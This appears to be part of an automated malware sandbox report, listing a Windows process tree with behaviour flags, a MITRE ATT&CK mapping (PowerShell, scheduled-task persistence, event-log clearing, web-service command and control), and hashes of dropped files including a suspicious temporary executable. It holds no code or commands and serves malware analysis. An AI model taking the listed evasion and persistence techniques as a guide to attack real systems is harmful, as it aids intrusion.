C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:2228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2292

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2432

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService
1⤵
PID:2484
- C:\Windows\system32\ctfmon.exe
  /QuitInfo:000000000000021C;00000000000001FC;
  2⤵
  PID:5444

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc
1⤵
PID:2564

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc
1⤵
PID:2964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc
1⤵
PID:2360

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:3128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:3276

C:\Windows\System32\ShellHost.exe
"C:\Windows\System32\ShellHost.exe"
1⤵
PID:3500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:3584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:3632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:3660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:3692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:3700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:1252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:1124

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4424

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4652

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4832

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:2736

C:\Windows\System32\smartscreen.exe
C:\Windows\System32\smartscreen.exe -Embedding
1⤵
PID:1204

C:\Windows\System32\SecurityHealthSystray.exe
"C:\Windows\System32\SecurityHealthSystray.exe"
1⤵
PID:5136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc
1⤵
PID:5352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
1⤵
PID:3492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:5920

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3680

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4896

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:6080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Drops file in System32 directory
PID:4036

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2756
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 492 -p 5868 -ip 5868
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:5276

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:448

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:2272

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WER.8b428653-a23c-4158-b29b-c2cc8bf19404.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER.8b428653-a23c-4158-b29b-c2cc8bf19404.tmp.csv
Size 40KB
SHA256 396db6c6706e347bce5c51bb037c9992be7ab5c19ba36226d4f28a2452ffb51a
MD5 550a5ab965c29652e455cafdf851246e
SHA1 c5e30d592b237ecf191c32848be3d71b0e89fa1e
SHA512 8424156b2a00080d281d97e2a8ac2c93c4aff5c95f9d49a174815ea54606b9dd86d46f3325fd174a62a53f1318f6c9c30399ec4985c67dea06cdc839858fcd2f
SSDEEP 768:RrL4L9uIM0P6CfG1JWAgcPVWOOtFCaFC/RxJVm0NgoJ8tE:RrL4L9uPNzgcPstFCaF0XJ8MgoJd
TLSH
T11303253ECEED023FC2B6DA1CC8EA4607F855A493361DED09A4D3678A4557583BCD026E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WER.b72a6fb7-a6cb-4c9c-a4db-ea21a6d40b3a.tmp.txt

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER.b72a6fb7-a6cb-4c9c-a4db-ea21a6d40b3a.tmp.txt
Size 13KB
SHA256 c6deb56b912764b2d0e0c75ef3d338c7224430181a3ba02f47e47464efc5f6d7
MD5 24487db8d3e97d3247fa76a16d1169e3
SHA1 5238fea15f9bf1bd5b7400b2e22a0c89136d4290
SHA512 22c2a965a891a1c6e6fc19bb9d72afcdfa7cb0b12077e09294d689f5b52f5491ff37e61b725e090a1291e4012ee14ded0a903c9cea81084f603e91a49d605fa9
SSDEEP 96:4iefIzAAoXYsZYPW+HtYEZ0vtCi2Fid+wl+50pOM7aojQMyAHlcI293:NefxVnZ+5y7aojQMyAHB293
TLSH
T12B52615616E80359F2F75E88A5F020A19773F872AE39CA4D01DE130E87E3E41D865FA7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pxujdgs5.32h.exe

Path C:\Users\Admin\AppData\Local\Temp\pxujdgs5.32h.exe
Size 161KB
SHA256 879cc20b41635709bb304e315aaa5ca4708b480a1bfc2f4935fcf2215188efb0
MD5 94f1ab3a068f83b32639579ec9c5d025
SHA1 38f3d5bc5de46feb8de093d11329766b8e2054ae
SHA512 44d5236a804d63302b21ca25ebc148a64605508d03c990a244c44ceb8630849da0510b7b2d0bee72e01ca6681e2d86d7e6aee8847674a26f0028d149b9abee0c
SSDEEP 3072:hLD8KbgVtn8Mo8G1gVziHzZbIK1YKB/pCAcNqXhwBV3yxSQig8xN:h/5bTgVziHzZnSKrCbYM
TLSH
T10BF33C07BAA500F7E976823585739E17B7B2F42503209BBF0B654A6E0FA37906D3DB50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Path C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Size 342B
SHA256 37e211aef2ea4d1a87b44dd5862ea8b0d6a8fe06882d3a83749318656346def1
MD5 c294700f5757ebd4fe2b3b76f8842240
SHA1 a59da05e5597b91519bd57f152fa4ea472e3a89b
SHA512 c8f77d651736b1a8a732b4f8532456b4e867ed992291b7c27dc71812f899a618e5fb3fc05c2f216fcebe9525ef654f6a60bf819190df2a42bb61d823df57d575
TLSH
T1FCE0C2523FB80205F5730A3CAE33A4499E36736BAE01CADE1735408D1D25FA18C3671D
MD5 SHA1 SHA512 TLSH

Submit Download

8A7891822FCFF127E4EADADE9757112B

Path C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8A7891822FCFF127E4EADADE9757112B
Size 246B
SHA256 4acbf73a4974e6a908cdbad0db0763ae015e9e52b7edb1cbf5db064cecdeeee4
MD5 46d757041626293f0859bccd97f23f10
SHA1 21d15f05ced2958d3b0f1b74b37bc0dc3f49cf52
SHA512 2a09b7064919db7d46ffa2c2dbf64c00c930ae8fb790e344dd20059cd369513b0a76c22577f7adf705a4950f48902e3417ddadc4f689f8e9ef54d0a483f9c526
TLSH
T127D012705376A606F5926B7ABEB056C2FE74AF65B102DB074FB1074C4818FD11C71A17
MD5 SHA1 SHA512 TLSH

Submit Download

memory/368-28-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/368-322-0x00000248DC050000-0x00000248DC07B000-memory.dmp

Download

memory/368-27-0x00000248DC050000-0x00000248DC07B000-memory.dmp

Download

memory/480-132-0x000001505EFD0000-0x000001505EFFB000-memory.dmp

Download

memory/480-153-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/760-319-0x000001601BB80000-0x000001601BBAB000-memory.dmp

Download

memory/760-14-0x000001601BB50000-0x000001601BB75000-memory.dmp

Download

memory/760-16-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/760-15-0x000001601BB80000-0x000001601BBAB000-memory.dmp

Download

memory/972-320-0x0000022023D00000-0x0000022023D2B000-memory.dmp

Download

memory/972-22-0x0000022023D00000-0x0000022023D2B000-memory.dmp

Download

memory/972-101-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/980-321-0x0000018D59B30000-0x0000018D59B5B000-memory.dmp

Download

memory/980-23-0x0000018D59B30000-0x0000018D59B5B000-memory.dmp

Download

memory/980-103-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/1040-105-0x000002289AFC0000-0x000002289AFEB000-memory.dmp

Download

memory/1040-109-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/1116-107-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/1116-106-0x000002A008870000-0x000002A00889B000-memory.dmp

Download

memory/1124-184-0x00000275CC590000-0x00000275CC5BB000-memory.dmp

Download

memory/1188-33-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/1188-31-0x0000020326F70000-0x0000020326F9B000-memory.dmp

Download

memory/1188-323-0x0000020326F70000-0x0000020326F9B000-memory.dmp

Download

memory/1252-178-0x000002965BF40000-0x000002965BF6B000-memory.dmp

Download

memory/1252-179-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/1308-112-0x0000010F1DDD0000-0x0000010F1DDFB000-memory.dmp

Download

memory/1308-113-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/1600-115-0x00000285A9440000-0x00000285A946B000-memory.dmp

Download

memory/1600-116-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/1608-118-0x000001EA66BC0000-0x000001EA66BEB000-memory.dmp

Download

memory/1608-119-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/1656-122-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/1656-121-0x0000016C0FD80000-0x0000016C0FDAB000-memory.dmp

Download

memory/1712-154-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/1712-130-0x000001ACED060000-0x000001ACED08B000-memory.dmp

Download

memory/1756-43-0x000001696DCB0000-0x000001696DCDB000-memory.dmp

Download

memory/1756-324-0x000001696DCB0000-0x000001696DCDB000-memory.dmp

Download

memory/1756-46-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/1816-125-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/1816-124-0x0000021C905C0000-0x0000021C905EB000-memory.dmp

Download

memory/1896-127-0x000001828C860000-0x000001828C88B000-memory.dmp

Download

memory/1896-128-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/2000-129-0x000001B1A6B80000-0x000001B1A6BAB000-memory.dmp

Download

memory/2000-157-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/2088-145-0x0000010BCEEE0000-0x0000010BCEF0B000-memory.dmp

Download

memory/2088-151-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/2360-149-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/2360-147-0x00000270A1F00000-0x00000270A1F2B000-memory.dmp

Download

memory/3276-160-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/3276-159-0x000002B0526D0000-0x000002B0526FB000-memory.dmp

Download

memory/3500-162-0x000002C1F04C0000-0x000002C1F04EB000-memory.dmp

Download

memory/3500-163-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/3584-166-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/3584-165-0x00000265B4B80000-0x00000265B4BAB000-memory.dmp

Download

memory/3632-168-0x0000028EBEFA0000-0x0000028EBEFCB000-memory.dmp

Download

memory/3632-169-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/3652-171-0x000002BA12CD0000-0x000002BA12CFB000-memory.dmp

Download

memory/3652-172-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/3660-174-0x00000282F72D0000-0x00000282F72FB000-memory.dmp

Download

memory/3692-175-0x000002A1877B0000-0x000002A1877DB000-memory.dmp

Download

memory/3692-176-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/3700-182-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/3700-181-0x000001CA526C0000-0x000001CA526EB000-memory.dmp

Download

memory/4424-185-0x0000026D69390000-0x0000026D693BB000-memory.dmp

Download

memory/4680-2-0x000001E6E43F0000-0x000001E6E441C000-memory.dmp

Download

memory/4680-327-0x000001E6E5EE0000-0x000001E6E5EF2000-memory.dmp

Download

memory/4680-311-0x00007FFB9D9C0000-0x00007FFB9E364000-memory.dmp

Download

memory/4680-0-0x000001E6E3F50000-0x000001E6E3F94000-memory.dmp

Download

memory/4680-391-0x000001E6FE8A0000-0x000001E6FE8B0000-memory.dmp

Download

memory/4680-377-0x000001E6FE8A0000-0x000001E6FE8B0000-memory.dmp

Download

memory/4680-21-0x00007FFB9D9C0000-0x00007FFB9E364000-memory.dmp

Download

memory/4680-1-0x00007FFB9DB4F000-0x00007FFB9DB50000-memory.dmp

Download

memory/4680-362-0x00007FFB9D9C0000-0x00007FFB9E364000-memory.dmp

Download

memory/4680-4-0x00007FFB9D9C0000-0x00007FFB9E364000-memory.dmp

Download

memory/4680-309-0x00007FFB9D9C0000-0x00007FFB9E364000-memory.dmp

Download

memory/4716-13-0x00007FFBBF4E0000-0x00007FFBBF5A7000-memory.dmp

Download

memory/4716-12-0x00007FFBC0860000-0x00007FFBC0AC3000-memory.dmp

Download

memory/4984-355-0x000002AD69C90000-0x000002AD69CB2000-memory.dmp

Download

memory/5444-85-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/5444-84-0x0000014E006B0000-0x0000014E006DB000-memory.dmp

Download

memory/5444-325-0x0000014E006B0000-0x0000014E006DB000-memory.dmp

Download

memory/5868-94-0x0000000000D00000-0x0000000000D2B000-memory.dmp

Download

memory/5868-95-0x00007FFB809A0000-0x00007FFB809B0000-memory.dmp

Download

memory/5868-363-0x0000000000D00000-0x0000000000D2B000-memory.dmp

Download

memory/5868-326-0x0000000000D00000-0x0000000000D2B000-memory.dmp

Download